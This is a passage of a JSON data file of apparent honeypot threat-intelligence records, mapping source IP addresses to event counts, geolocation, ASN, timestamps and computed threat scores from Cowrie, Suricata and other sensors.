      "honeypot_breakdown_30d": {
        "Cowrie": 10,
        "Suricata": 5
      }
    },
    "154.125.190.155": {
      "attack_count": 8,
      "first_seen": "2026-05-24T01:05:30.009Z",
      "last_seen": "2026-05-24T01:07:31.755Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Senegal",
      "country_code": "SN",
      "city": "Dakar",
      "asn": 8346,
      "as_org": "SONATEL SONATEL-AS Autonomous System",
      "threat_score": 18.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 13,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T01:05:30.009000+00:00",
        "last_seen_30d": "2026-05-24T01:18:16.035000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 5
      }
    },
    "181.79.211.82": {
      "attack_count": 8,
      "first_seen": "2026-05-24T19:18:09.843Z",
      "last_seen": "2026-05-24T19:26:13.587Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Nicaragua",
      "country_code": "NI",
      "city": null,
      "asn": 52468,
      "as_org": "UFINET PANAMA S.A.",
      "threat_score": 18.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 13,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T19:18:09.843000+00:00",
        "last_seen_30d": "2026-05-24T19:27:15.167000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 5
      }
    },
    "201.238.3.45": {
      "attack_count": 8,
      "first_seen": "2026-05-19T10:55:54.149Z",
      "last_seen": "2026-05-19T12:57:53.942Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Venezuela",
      "country_code": "VE",
      "city": "Caracas",
      "asn": 27889,
      "as_org": "Telecomunicaciones MOVILNET",
      "threat_score": 14.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 13,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T10:55:54.149000+00:00",
        "last_seen_30d": "2026-05-19T14:27:39.120000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 5
      }
    },
    "45.159.74.87": {
      "attack_count": 8,
      "first_seen": "2026-05-08T07:14:41.946Z",
      "last_seen": "2026-05-08T07:22:45.287Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Armenia",
      "country_code": "AM",
      "city": "Yerevan",
      "asn": 207810,
      "as_org": "Virus Net LLC",
      "threat_score": 5.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 13,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T07:14:41.946000+00:00",
        "last_seen_30d": "2026-05-08T07:32:52.617000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 5
      }
    },
    "103.126.161.143": {
      "attack_count": 6,
      "first_seen": "2026-05-08T19:55:40.726Z",
      "last_seen": "2026-05-08T19:55:42.271Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": null,
      "asn": 135959,
      "as_org": "Onebim Vietnam Limited Company",
      "threat_score": 5.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T19:55:40.726000+00:00",
        "last_seen_30d": "2026-05-08T19:56:50.058000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "103.82.101.170": {
      "attack_count": 6,
      "first_seen": "2026-05-09T18:53:47.816Z",
      "last_seen": "2026-05-09T18:53:54.346Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Paris",
      "asn": 56630,
      "as_org": "Melbikomas UAB",
      "threat_score": 5.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-09T18:53:47.816000+00:00",
        "last_seen_30d": "2026-05-09T18:54:59.856000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "117.63.189.71": {
      "attack_count": 6,
      "first_seen": "2026-05-19T06:29:56.599Z",
      "last_seen": "2026-05-19T06:31:16.430Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 13.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 10.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 10,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T06:29:41.102000+00:00",
        "last_seen_30d": "2026-05-19T06:32:23.358000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 6,
        "Suricata": 4
      }
    },
    "135.125.236.201": {
      "attack_count": 6,
      "first_seen": "2026-05-09T01:04:10.897Z",
      "last_seen": "2026-05-09T01:04:18.542Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": null,
      "asn": 16276,
      "as_org": "OVH SAS",
      "threat_score": 5.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-09T01:04:10.897000+00:00",
        "last_seen_30d": "2026-05-09T01:05:27.423000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "149.154.159.178": {
      "attack_count": 6,
      "first_seen": "2026-05-08T20:46:28.346Z",
      "last_seen": "2026-05-08T20:46:30.514Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 9009,
      "as_org": "M247 Europe SRL",
      "threat_score": 5.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T20:46:28.346000+00:00",
        "last_seen_30d": "2026-05-08T20:47:35.673000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "186.226.60.45": {
      "attack_count": 6,
      "first_seen": "2026-05-14T04:18:02.973Z",
      "last_seen": "2026-05-14T04:18:10.393Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Rio de Janeiro",
      "asn": 262954,
      "as_org": "VirtuaServer Informatica Ltda",
      "threat_score": 9.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-14T04:18:02.973000+00:00",
        "last_seen_30d": "2026-05-14T04:19:13.669000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "195.96.139.225": {
      "attack_count": 6,
      "first_seen": "2026-05-22T01:13:19.218Z",
      "last_seen": "2026-05-22T01:13:21.974Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": null,
      "asn": 211298,
      "as_org": "Driftnet Ltd",
      "threat_score": 16.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 10.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 11,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T01:13:19.218000+00:00",
        "last_seen_30d": "2026-05-22T01:14:31.153000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 6,
        "Suricata": 5
      }
    },
    "114.97.191.176": {
      "attack_count": 4,
      "first_seen": "2026-05-16T07:51:39.879Z",
      "last_seen": "2026-05-16T07:51:54.880Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 17.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.5,
        "persistence": 6.7,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 9,
        "days_active_30d": 8,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-09T02:45:04+00:00",
        "last_seen_30d": "2026-05-16T07:52:56.932000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 4,
        "Honeytrap": 1
      }
    },
    "116.207.109.124": {
      "attack_count": 4,
      "first_seen": "2026-05-19T06:30:48.422Z",
      "last_seen": "2026-05-19T06:31:40.225Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 12.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T06:30:48.422000+00:00",
        "last_seen_30d": "2026-05-19T06:32:46.189000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 2
      }
    },
    "138.121.106.117": {
      "attack_count": 4,
      "first_seen": "2026-05-19T19:43:18.153Z",
      "last_seen": "2026-05-19T19:46:17.164Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Argentina",
      "country_code": "AR",
      "city": "Jun\u00edn",
      "asn": 263790,
      "as_org": "RED POWER INTERNET SRL",
      "threat_score": 12.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T19:43:18.153000+00:00",
        "last_seen_30d": "2026-05-19T19:47:26.227000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 2
      }
    },
    "147.185.132.117": {
      "attack_count": 4,
      "first_seen": "2026-05-08T10:26:57.667Z",
      "last_seen": "2026-05-08T10:27:01.379Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 84.7,
      "threat_level": "critical",
      "score_components": {
        "frequency": 19.7,
        "persistence": 25,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 93,
        "days_active_30d": 30,
        "ports_targeted_30d": 27,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-05-02T00:22:39+00:00",
        "last_seen_30d": "2026-05-31T05:58:30.324000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 63,
        "Honeytrap": 23,
        "Cowrie": 4,
        "Dionaea": 3
      }
    },
    "20.64.105.251": {
      "attack_count": 4,
      "first_seen": "2026-05-25T11:49:11.782Z",
      "last_seen": "2026-05-25T11:49:22.272Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "San Antonio",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 70.4,
      "threat_level": "high",
      "score_components": {
        "frequency": 14.3,
        "persistence": 22.5,
        "diversity": 16,
        "spread": 20,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 27,
        "days_active_30d": 27,
        "ports_targeted_30d": 8,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-05-04T22:34:29.717000+00:00",
        "last_seen_30d": "2026-05-30T05:37:13.069000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 18,
        "Cowrie": 4,
        "Honeytrap": 4,
        "H0neytr4p": 1
      }
    },
    "64.227.186.123": {
      "attack_count": 4,
      "first_seen": "2026-05-11T01:42:58.838Z",
      "last_seen": "2026-05-11T01:43:06.841Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Bengaluru",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 10.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.1,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 13,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-11T01:42:58.838000+00:00",
        "last_seen_30d": "2026-05-11T01:44:12.415000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Suricata": 8,
        "Cowrie": 4,
        "Honeytrap": 1
      }
    },
    "64.62.197.129": {
      "attack_count": 4,
      "first_seen": "2026-05-07T10:53:44.487Z",
      "last_seen": "2026-05-07T10:53:48.486Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 79.0,
      "threat_level": "high",
      "score_components": {
        "frequency": 14.0,
        "persistence": 25,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 25,
        "days_active_30d": 30,
        "ports_targeted_30d": 11,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-05-02T06:31:49+00:00",
        "last_seen_30d": "2026-05-31T05:15:42.380000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 16,
        "Cowrie": 4,
        "Honeytrap": 4,
        "Ciscoasa": 1
      }
    },
    "98.22.211.177": {
      "attack_count": 4,
      "first_seen": "2026-05-22T05:55:48.688Z",
      "last_seen": "2026-05-22T05:55:50.948Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Dumas",
      "asn": 7029,
      "as_org": "Windstream Communications LLC",
      "threat_score": 15.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T05:55:48.688000+00:00",
        "last_seen_30d": "2026-05-22T05:56:57.373000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 4
      }
    },
    "101.109.11.108": {
      "attack_count": 2,
      "first_seen": "2026-05-08T01:44:17.688Z",
      "last_seen": "2026-05-08T01:44:31.343Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Thailand",
      "country_code": "TH",
      "city": "Pattaya",
      "asn": 23969,
      "as_org": "TOT Public Company Limited",
      "threat_score": 4.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T01:44:17.688000+00:00",
        "last_seen_30d": "2026-05-08T01:45:38.630000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "103.160.198.97": {
      "attack_count": 2,
      "first_seen": "2026-05-06T06:52:44.906Z",
      "last_seen": "2026-05-06T06:52:58.265Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": null,
      "asn": 132746,
      "as_org": "Infolink System",
      "threat_score": 2.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-06T06:52:44.906000+00:00",
        "last_seen_30d": "2026-05-06T06:54:03.430000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "110.235.216.19": {
      "attack_count": 2,
      "first_seen": "2026-05-06T08:57:59.753Z",
      "last_seen": "2026-05-06T08:58:12.640Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": null,
      "asn": 133982,
      "as_org": "Excitel Broadband Private Limited",
      "threat_score": 2.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-06T08:57:59.753000+00:00",
        "last_seen_30d": "2026-05-06T08:59:16.072000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "110.37.66.188": {
      "attack_count": 2,
      "first_seen": "2026-05-08T13:21:46.520Z",
      "last_seen": "2026-05-08T13:21:59.073Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Lahore",
      "asn": 38264,
      "as_org": "National WiMAXIMS environment",
      "threat_score": 25.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 7.0,
        "persistence": 14.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 5,
        "days_active_30d": 17,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T13:21:46.520000+00:00",
        "last_seen_30d": "2026-05-24T20:23:14.239000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Suricata": 3,
        "Cowrie": 2
      }
    },
    "113.21.38.12": {
      "attack_count": 2,
      "first_seen": "2026-05-09T01:03:18.100Z",
      "last_seen": "2026-05-09T01:03:31.272Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Australia",
      "country_code": "AU",
      "city": "Sydney",
      "asn": 38835,
      "as_org": "Buroserv Australia Pty Ltd",
      "threat_score": 4.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-09T01:03:18.100000+00:00",
        "last_seen_30d": "2026-05-09T01:04:37.722000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "113.221.27.192": {
      "attack_count": 2,
      "first_seen": "2026-05-23T04:11:36.156Z",
      "last_seen": "2026-05-23T04:12:06.645Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 12.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T04:11:36.156000+00:00",
        "last_seen_30d": "2026-05-23T04:13:13.778000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "121.63.211.136": {
      "attack_count": 2,
      "first_seen": "2026-05-22T15:33:32.816Z",
      "last_seen": "2026-05-22T15:33:47.362Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 12.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T15:33:32.816000+00:00",
        "last_seen_30d": "2026-05-22T15:34:56.840000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "125.26.201.175": {
      "attack_count": 2,
      "first_seen": "2026-05-13T00:19:18.492Z",
      "last_seen": "2026-05-13T00:19:31.349Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Thailand",
      "country_code": "TH",
      "city": "Chanthaburi",
      "asn": 23969,
      "as_org": "TOT Public Company Limited",
      "threat_score": 7.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-13T00:19:18.492000+00:00",
        "last_seen_30d": "2026-05-13T00:20:33.053000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "131.0.30.196": {
      "attack_count": 2,
      "first_seen": "2026-05-10T09:24:32.242Z",
      "last_seen": "2026-05-10T09:25:03.621Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Rio de Janeiro",
      "asn": 28210,
      "as_org": "GIGA MAIS FIBRA TELECOMUNICACOES S.A.",
      "threat_score": 5.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
